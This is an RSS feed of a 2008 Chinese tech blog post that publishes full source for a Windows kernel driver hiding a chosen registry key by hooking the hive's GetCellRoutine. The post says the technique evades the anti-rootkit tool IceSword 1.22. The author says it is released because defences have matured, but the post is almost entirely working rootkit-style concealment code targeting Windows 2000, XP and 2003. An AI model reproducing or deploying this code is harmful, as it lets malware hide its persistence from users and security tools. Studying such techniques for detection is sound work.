<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CNXCT小组的博客 &#187; 注册表</title>
	<atom:link href="http://www.cnxct.com/tag/%e6%b3%a8%e5%86%8c%e8%a1%a8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cnxct.com</link>
	<description>技术这个东西如同一个圆 ,刚开始的时候我们就如同站在圆心,一旦投入学习下去 ,圆就慢慢变大 ,圆的边缘以外也就会越来越大,接触的多了 知道的多了, 就会发现自己真的很无知!</description>
	<lastBuildDate>Tue, 31 Jan 2012 07:56:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>发一段隐藏注册表项的驱动代码，可以过目前最新的IceSword1.22</title>
		<link>http://www.cnxct.com/%e5%8f%91%e4%b8%80%e6%ae%b5%e9%9a%90%e8%97%8f%e6%b3%a8%e5%86%8c%e8%a1%a8%e9%a1%b9%e7%9a%84%e9%a9%b1%e5%8a%a8%e4%bb%a3%e7%a0%81%ef%bc%8c%e5%8f%af%e4%bb%a5%e8%bf%87%e7%9b%ae%e5%89%8d%e6%9c%80%e6%96%b0-2/</link>
		<comments>http://www.cnxct.com/%e5%8f%91%e4%b8%80%e6%ae%b5%e9%9a%90%e8%97%8f%e6%b3%a8%e5%86%8c%e8%a1%a8%e9%a1%b9%e7%9a%84%e9%a9%b1%e5%8a%a8%e4%bb%a3%e7%a0%81%ef%bc%8c%e5%8f%af%e4%bb%a5%e8%bf%87%e7%9b%ae%e5%89%8d%e6%9c%80%e6%96%b0-2/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 04:59:08 +0000</pubDate>
		<dc:creator>gleon</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[注册表]]></category>
		<category><![CDATA[隐藏]]></category>
		<category><![CDATA[驱动]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/cnxct/184</guid>
		<description><![CDATA[以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。

原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。<]]></description>
			<content:encoded><![CDATA[<p>以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。</p>
<p>原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。<br />
<code></p>
<pre class="brush: php; title: ; notranslate">&lt;/p&gt;
&lt;p&gt;#include &lt;ntddk.h&gt;&lt;/p&gt;
&lt;p&gt;#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )&lt;/p&gt;
&lt;p&gt;#define CM_KEY_INDEX_ROOT      0x6972         // ir&lt;br /&gt;
#define CM_KEY_INDEX_LEAF      0x696c         // il&lt;br /&gt;
#define CM_KEY_FAST_LEAF       0x666c         // fl&lt;br /&gt;
#define CM_KEY_HASH_LEAF       0x686c         // hl&lt;/p&gt;
&lt;p&gt;// 一些CM的数据结构，只列出用到的开头部分&lt;br /&gt;
#pragma pack(1)&lt;br /&gt;
typedef struct _CM_KEY_NODE {&lt;br /&gt;
       USHORT Signature;&lt;br /&gt;
       USHORT Flags;&lt;br /&gt;
       LARGE_INTEGER LastWriteTime;&lt;br /&gt;
       ULONG Spare;               // used to be TitleIndex&lt;br /&gt;
       HANDLE Parent;&lt;br /&gt;
       ULONG SubKeyCounts[2];     // Stable and Volatile&lt;br /&gt;
       HANDLE SubKeyLists[2];     // Stable and Volatile&lt;br /&gt;
       // ...&lt;br /&gt;
} CM_KEY_NODE, *PCM_KEY_NODE;&lt;/p&gt;
&lt;p&gt;typedef struct _CM_KEY_INDEX {&lt;br /&gt;
       USHORT Signature;&lt;br /&gt;
       USHORT Count;&lt;br /&gt;
       HANDLE List[1];&lt;br /&gt;
} CM_KEY_INDEX, *PCM_KEY_INDEX;&lt;/p&gt;
&lt;p&gt;typedef struct _CM_KEY_BODY {&lt;br /&gt;
       ULONG Type;                // &quot;ky02&quot;&lt;br /&gt;
       PVOID KeyControlBlock;&lt;br /&gt;
       PVOID NotifyBlock;&lt;br /&gt;
       PEPROCESS Process;         // the owner process&lt;br /&gt;
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb&lt;br /&gt;
} CM_KEY_BODY, *PCM_KEY_BODY;&lt;/p&gt;
&lt;p&gt;typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);&lt;/p&gt;
&lt;p&gt;typedef struct _HHIVE {&lt;br /&gt;
       ULONG Signature;&lt;br /&gt;
       PGET_CELL_ROUTINE GetCellRoutine;&lt;br /&gt;
       // ...&lt;br /&gt;
} HHIVE, *PHHIVE;&lt;br /&gt;
#pragma pack()&lt;/p&gt;
&lt;p&gt;// 需隐藏的主键名&lt;br /&gt;
WCHAR g_HideKeyName[] = L&quot;\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep&quot;;&lt;/p&gt;
&lt;p&gt;PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;&lt;br /&gt;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;&lt;/p&gt;
&lt;p&gt;PCM_KEY_NODE g_HideNode = NULL;&lt;br /&gt;
PCM_KEY_NODE g_LastNode = NULL;&lt;/p&gt;
&lt;p&gt;// 打开指定名字的Key&lt;br /&gt;
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)&lt;br /&gt;
{&lt;br /&gt;
       NTSTATUS status;&lt;br /&gt;
       UNICODE_STRING uKeyName;&lt;br /&gt;
       OBJECT_ATTRIBUTES oa;&lt;br /&gt;
       HANDLE hKey;&lt;/p&gt;
&lt;p&gt;       RtlInitUnicodeString(&amp;uKeyName, pwcsKeyName);&lt;br /&gt;
       InitializeObjectAttributes(&amp;oa, &amp;uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);&lt;br /&gt;
       status = ZwOpenKey(&amp;hKey, KEY_READ, &amp;oa);&lt;br /&gt;
       if (!NT_SUCCESS(status))&lt;br /&gt;
       {&lt;br /&gt;
           DbgPrint(&quot;ZwOpenKey Failed: %lx\n&quot;, status);&lt;br /&gt;
           return NULL;&lt;br /&gt;
       }&lt;/p&gt;
&lt;p&gt;       return hKey;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;// 获取指定Key句柄的KeyControlBlock&lt;br /&gt;
PVOID GetKeyControlBlock(HANDLE hKey)&lt;br /&gt;
{&lt;br /&gt;
       NTSTATUS status;&lt;br /&gt;
       PCM_KEY_BODY KeyBody;&lt;br /&gt;
       PVOID KCB;&lt;/p&gt;
&lt;p&gt;       if (hKey == NULL) return NULL;&lt;/p&gt;
&lt;p&gt;       // 由Key句柄获取对象体&lt;br /&gt;
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &amp;KeyBody, NULL);&lt;br /&gt;
       if (!NT_SUCCESS(status))&lt;br /&gt;
       {&lt;br /&gt;
           DbgPrint(&quot;ObReferenceObjectByHandle Failed: %lx\n&quot;, status);&lt;br /&gt;
           return NULL;&lt;br /&gt;
       }&lt;/p&gt;
&lt;p&gt;       // 对象体中含有KeyControlBlock&lt;br /&gt;
       KCB = KeyBody-&gt;KeyControlBlock;&lt;br /&gt;
       DbgPrint(&quot;KeyControlBlock = %lx\n&quot;, KCB);&lt;/p&gt;
&lt;p&gt;       ObDereferenceObject(KeyBody);&lt;/p&gt;
&lt;p&gt;       return KCB;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;// 获取父键的最后一个子键的节点&lt;br /&gt;
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)&lt;br /&gt;
{&lt;br /&gt;
       // 获取父键的节点&lt;br /&gt;
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node-&gt;Parent);&lt;br /&gt;
       // 获取子键的索引&lt;br /&gt;
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode-&gt;SubKeyLists[0]);&lt;/p&gt;
&lt;p&gt;       DbgPrint(&quot;ParentNode = %lx\nIndex = %lx\n&quot;, ParentNode, Index);&lt;/p&gt;
&lt;p&gt;       // 如果为根(二级)索引，获取最后一个索引&lt;br /&gt;
       if (Index-&gt;Signature == CM_KEY_INDEX_ROOT)&lt;br /&gt;
       {&lt;br /&gt;
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index-&gt;List[Index-&gt;Count-1]);&lt;br /&gt;
           DbgPrint(&quot;Index = %lx\n&quot;, Index);&lt;br /&gt;
       }&lt;/p&gt;
&lt;p&gt;       if (Index-&gt;Signature == CM_KEY_FAST_LEAF || Index-&gt;Signature == CM_KEY_HASH_LEAF)&lt;br /&gt;
       {&lt;br /&gt;
           // 快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点&lt;br /&gt;
           return g_pGetCellRoutine(Hive, Index-&gt;List[2*(Index-&gt;Count-1)]);&lt;br /&gt;
       }&lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
           // 一般叶索引，返回最后的节点&lt;br /&gt;
           return g_pGetCellRoutine(Hive, Index-&gt;List[Index-&gt;Count-1]);&lt;br /&gt;
       }&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;// GetCell例程的钩子函数&lt;br /&gt;
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)&lt;br /&gt;
{&lt;br /&gt;
       // 调用原函数&lt;br /&gt;
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);&lt;br /&gt;
       if (pRet)&lt;br /&gt;
       {&lt;br /&gt;
           // 返回的是需要隐藏的节点&lt;br /&gt;
           if (pRet == g_HideNode)&lt;br /&gt;
           {&lt;br /&gt;
               DbgPrint(&quot;GetCellRoutine(%lx, %08lx) = %lx\n&quot;, Hive, Cell, pRet);&lt;br /&gt;
               // 查询、保存并返回其父键的最后一个子键的节点&lt;br /&gt;
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);&lt;br /&gt;
               DbgPrint(&quot;g_LastNode = %lx\n&quot;, g_LastNode);&lt;br /&gt;
               // 隐藏的正是最后一个节点，返回空值&lt;br /&gt;
               if (pRet == g_HideNode) pRet = NULL;&lt;br /&gt;
           }&lt;br /&gt;
           // 返回的是先前保存的最后一个节点&lt;br /&gt;
           else if (pRet == g_LastNode)&lt;br /&gt;
           {&lt;br /&gt;
               DbgPrint(&quot;GetCellRoutine(%lx, %08lx) = %lx\n&quot;, Hive, Cell, pRet);&lt;br /&gt;
               // 清空保存值，并返回空值&lt;br /&gt;
               pRet = g_LastNode = NULL;&lt;br /&gt;
           }&lt;br /&gt;
       }&lt;br /&gt;
       return pRet;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)&lt;br /&gt;
{&lt;br /&gt;
       DbgPrint(&quot;DriverUnload()\n&quot;);&lt;br /&gt;
       // 解除挂钩&lt;br /&gt;
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;&lt;br /&gt;
       return STATUS_SUCCESS;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)&lt;br /&gt;
{&lt;br /&gt;
       ULONG BuildNumber;&lt;br /&gt;
       ULONG KeyHiveOffset;       // KeyControlBlock-&gt;KeyHive&lt;br /&gt;
       ULONG KeyCellOffset;       // KeyControlBlock-&gt;KeyCell&lt;br /&gt;
       HANDLE hKey;&lt;br /&gt;
       PVOID KCB, Hive;&lt;/p&gt;
&lt;p&gt;       DbgPrint(&quot;DriverEntry()\n&quot;);&lt;/p&gt;
&lt;p&gt;       pDrvObj-&gt;DriverUnload = DriverUnload;&lt;/p&gt;
&lt;p&gt;       // 查询BuildNumber&lt;br /&gt;
       if (PsGetVersion(NULL, NULL, &amp;BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;&lt;br /&gt;
       DbgPrint(&quot;BuildNumber = %d\n&quot;, BuildNumber);&lt;/p&gt;
&lt;p&gt;       // KeyControlBlock结构各版本略有不同&lt;br /&gt;
       // Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以&lt;br /&gt;
       switch (BuildNumber)&lt;br /&gt;
       {&lt;br /&gt;
           case 2195:     // Win2000&lt;br /&gt;
               KeyHiveOffset = 0xc;&lt;br /&gt;
               KeyCellOffset = 0x10;&lt;br /&gt;
               break;&lt;br /&gt;
           case 2600:     // WinXP&lt;br /&gt;
           case 3790:     // Win2003&lt;br /&gt;
               KeyHiveOffset = 0x10;&lt;br /&gt;
               KeyCellOffset = 0x14;&lt;br /&gt;
               break;&lt;br /&gt;
           default:&lt;br /&gt;
               return STATUS_NOT_SUPPORTED;&lt;br /&gt;
       }&lt;/p&gt;
&lt;p&gt;       // 打开需隐藏的键&lt;br /&gt;
       hKey = OpenKeyByName(g_HideKeyName);&lt;br /&gt;
       // 获取该键的KeyControlBlock&lt;br /&gt;
       KCB = GetKeyControlBlock(hKey);&lt;br /&gt;
       if (KCB)&lt;br /&gt;
       {&lt;br /&gt;
           // 由KCB得到Hive&lt;br /&gt;
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);&lt;br /&gt;
           // GetCellRoutine在KCB中，保存原地址&lt;br /&gt;
           g_ppGetCellRoutine = &amp;Hive-&gt;GetCellRoutine;&lt;br /&gt;
           g_pGetCellRoutine = Hive-&gt;GetCellRoutine;&lt;br /&gt;
           DbgPrint(&quot;GetCellRoutine = %lx\n&quot;, g_pGetCellRoutine);&lt;br /&gt;
           // 获取需隐藏的节点并保存&lt;br /&gt;
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));&lt;br /&gt;
           // 挂钩GetCell例程&lt;br /&gt;
           Hive-&gt;GetCellRoutine = MyGetCellRoutine;&lt;br /&gt;
       }&lt;br /&gt;
       ZwClose(hKey);&lt;/p&gt;
&lt;p&gt;       return STATUS_SUCCESS;&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;</pre>
<p></code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%8f%91%e4%b8%80%e6%ae%b5%e9%9a%90%e8%97%8f%e6%b3%a8%e5%86%8c%e8%a1%a8%e9%a1%b9%e7%9a%84%e9%a9%b1%e5%8a%a8%e4%bb%a3%e7%a0%81%ef%bc%8c%e5%8f%af%e4%bb%a5%e8%bf%87%e7%9b%ae%e5%89%8d%e6%9c%80%e6%96%b0-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

